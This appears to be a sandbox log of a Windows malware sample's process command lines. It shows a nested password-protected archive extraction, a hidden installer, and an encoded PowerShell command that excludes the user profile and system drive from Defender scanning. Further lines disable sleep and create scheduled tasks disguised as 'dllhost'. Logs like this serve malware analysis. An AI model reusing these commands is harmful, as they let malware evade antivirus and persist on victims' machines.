mode.com mode 65,10
21447z.exe 7z.exe e file.zip -p199921163012031144012778512725 -oextracted
22127z.exe 7z.exe e extracted/file_5.zip -oextracted
22767z.exe 7z.exe e extracted/file_4.zip -oextracted
23247z.exe 7z.exe e extracted/file_3.zip -oextracted
23727z.exe 7z.exe e extracted/file_2.zip -oextracted
24207z.exe 7z.exe e extracted/file_1.zip -oextracted
2468attrib.exe attrib +H "Installer.exe"
2516cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAG0AeABBAEIANQBVAG4ASAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoASgBLADUANwBMAHUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMASgAyAFMAdgBxAE4ARQBkAGEAWQBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFkASAAzACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
2792powershell.exe powershell -EncodedCommand "PAAjAG0AeABBAEIANQBVAG4ASAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoASgBLADUANwBMAHUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMASgAyAFMAdgBxAE4ARQBkAGEAWQBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFkASAAzACMAPgA="
2848powercfg.exe powercfg /x -hibernate-timeout-ac 0
2928powercfg.exe powercfg /x -hibernate-timeout-dc 0
2976powercfg.exe powercfg /x -standby-timeout-ac 0
3028powercfg.exe powercfg /x -standby-timeout-dc 0
632powercfg.exe powercfg /hibernate off
2160cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
2344schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
2500cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3665" /TR "C:\ProgramData\Dllhost\dllhost.exe"
2388